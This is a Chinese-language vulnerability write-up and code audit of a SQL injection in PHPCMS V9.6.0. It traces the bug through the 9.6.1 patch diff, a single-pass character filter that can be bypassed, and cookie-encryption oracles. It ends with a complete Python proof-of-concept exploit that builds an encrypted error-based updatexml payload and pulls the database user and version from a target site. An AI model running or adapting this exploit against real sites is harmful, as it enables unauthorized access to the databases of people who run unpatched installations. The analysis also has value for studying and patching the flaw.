PHPCMS V9.6.0 SQLinjection

Report 代码审计

0x01:漏洞分析

一星期前PHPCMS爆出注册页面存在任意文件上传漏洞,官方补丁9.6.1修复这个漏洞的同时还修复了另一处注入,我们先将补丁和原文件对比看下怎么修复的,再通过回溯找到漏洞触发点。进对比发现在文件 /phpcms/modules/content/down.php 处有修改,补丁用safe_replace()做了过滤,再将变量转换成int型,所以很自然猜到这里出现了变量覆盖,parse_str()注册新变量$id覆盖原变量,跟进发现没有对变量$id做过滤,直接进入数据库产生注入漏洞。

继续往前看$a_k通过$_GET获取后进到sys_auth()函数,我们不需要知道该函数细节,只需知道它是加密函数并且加密的密钥从系统中读取,所以不能在本地加密,需要另找一处加密点用于加密我们要传进来的payload,在文件/phpcms/modules/attachment/attachments.php第239行:

<?php
public function swfupload_json() {
    $arr['aid'] = intval($_GET['aid']);
    $arr['src'] = safe_replace(trim($_GET['src']));
    $arr['filename'] = urlencode(safe_replace($_GET['filename']));
    $json_str = json_encode($arr);
    $att_arr_exist = param::get_cookie('att_json');
    $att_arr_exist_tmp = explode('||', $att_arr_exist);
    if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
        return true;
    } else {
        $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
        param::set_cookie('att_json',$json_str);
        return true;            
    }
}
?>

通过$_GET传递的变量会进到safe_replace()函数,该过滤函数在文件 /phpcms/phpcms/libs/functions/global.func.php 第 63 行:

<?php
function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','&quot;',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','&lt;',$string);
    $string = str_replace('>','&gt;',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}
?>

可以看到它会去除一些敏感字符或者HTML实体编码,但是对传入的参数只做了一次处理,如果传入的变量值是"%'27"那么过滤结果就变成了"%27",url解码后正好对应单引号。随后变量会被json编码并与att_json拼接后传递给set_cookie()函数,该函数位于文件 /phpcms/libs/classes/param.class.php 第 86 行:

<?php
public static function set_cookie($var, $value = '', $time = 0) {
    $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
    $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
    $var = pc_base::load_config('system','cookie_pre').$var;
    $_COOKIE[$var] = $value;
    if (is_array($value)) {
        foreach($value as $k=>$v) {
            setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
        }
    } else {
        setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
    }
}
?>

可以看见最有趣的是该函数使用sys_auth()对cookie进行加密,那么我们的思路就很明确了,将攻击payload传递给$arr,然后set_cookie()会将未被正确处理的payload加密生成cookie,将该cookie传递给down.php 里的sys_auth()解密函数。

但是有一点需要注意的是文件/phpcms/modules/attachment/attachments.php第12行的构造方法:

<?php
function __construct() {
    pc_base::load_app_func('global');
    $this->upload_url = pc_base::load_config('system','upload_url');
    $this->upload_path = pc_base::load_config('system','upload_path');      
    $this->imgext = array('jpg','gif','png','bmp','jpeg');
    $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
    $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
    $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
    //判断是否登录
    if(empty($this->userid)){
        showmessage(L('please_login','','member'));
    }
}
?>

该方法将会判断$this->userid是否为空,为空会跳转到登录页面导致swfupload_json()无法执行,系统会判断session里有没有userid ,如果没有再判断cookie里存不存在userid,再没有就将$_POST的userid_flash解码后传递给 $this->userid ,那么最后一个问题就是怎么找到正确的userid_flash加密值,在文件/phpcms/modules/wap/index.php第6行构造方法:

<?php
function __construct() {        
    $this->db = pc_base::load_model('content_model');
    $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
    param::set_cookie('siteid',$this->siteid);  
    $this->wap_site = getcache('wap_site','wap');
    $this->types = getcache('wap_type','wap');
    $this->wap = $this->wap_site[$this->siteid];
    define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
    if($this->wap['status']!=1) exit(L('wap_close_status'));
}
?>

通过$_GET获取siteid后将会被加密设置为cookie,加密方法同样在上文提到的set_cookie()函数里,到此我们的所有思路都理清了。

     

0x02:漏洞验证

以下是针对PHPCMS v9.6.0的SQL注入漏洞验证代码,该POC具有一定攻击性请谨慎使用,作者对其会产生的任何结果概不负责:

#!/usr/bin/dev python
# -*- coding:utf-8 -*-
# author: Lion Ei'Jonson
# date:2017/9/21

import sys
import requests
import re
import urllib

def useage():
    print("[*]Useage: python %s http://www.lioneijonson.cn" % sys.argv[0])

def mix_payload(url,userid):
    sql = 'updatexml(1,concat(1,(select concat(0x75736572,0x3a,user(),0x2c,0x76657273696f6e,0x3a,version()))),1)#'
    data = {'userid_flash': userid}
    payload = '&id=%*27 and ' + sql + '&m=1&modelid=2&f=test&catid=7&'
    url = url + '?m=attachment&c=attachments&a=swfupload_json&aid=1&src=' + urllib.parse.quote(payload)
    content = requests.post(url,data=data)
    for cookie in content.cookies:
        if '_att_json' in cookie.name:
            print("[*]payload is encrypt")
            attack_payload = cookie.value
    return attack_payload

def get_result(url):
    get_params = {
        'm':'content',
        'c':'down',
        'a_k':mix_payload(url,userid)
    }
    respon = requests.get(url,params=get_params)
    return respon

if __name__ == '__main__':
    if len(sys.argv) != 2:
        useage()
        sys.exit()
    if(sys.argv[1][:4]) != "http":
        url = "http://" + sys.argv[1] + "/index.php"
    else:
        url = sys.argv[1] + "/index.php"
    get_params = {
        'm':'wap',
        'c':'index',
        'siteid':'1',
    }
    try:
        content = requests.get(url,params=get_params)
    except:
        print("[!]Target is not available")
        sys.exit()
    for cookie in content.cookies:
        if '_siteid' in cookie.name:
            print("[*]Find the cookie_userid")
            userid = cookie.value
        else:
            print("[!]Can't find the cookie")
            sys.exit()
    match = re.search(r"XPATH syntax error: '(\S+)'",get_result(url).content.decode('utf-8'))
    if match:
        print("[*]The target is vulnerable")
        print(match.group(1))
    else:
        print("[!]The target is not vulnerable")
        sys.exit()